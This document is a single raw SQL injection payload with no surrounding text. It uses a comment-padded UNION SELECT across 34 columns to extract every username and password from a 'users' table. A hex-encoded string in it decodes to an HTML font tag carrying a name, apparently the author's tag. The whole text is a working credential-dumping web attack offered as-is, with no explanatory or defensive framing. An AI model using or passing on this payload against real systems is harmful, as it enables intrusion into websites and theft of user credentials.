-a'/**/UNION/**/SELECT/**/1,2,3,CONCAT(0x3c666f6e7420636f6c6f723d677265656e3e47657269204e656c736f6e3c2f666f6e743e,0x3c62723e,(SELECT/**/GROUP_CONCAT(username,0x3c62723e,password/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%23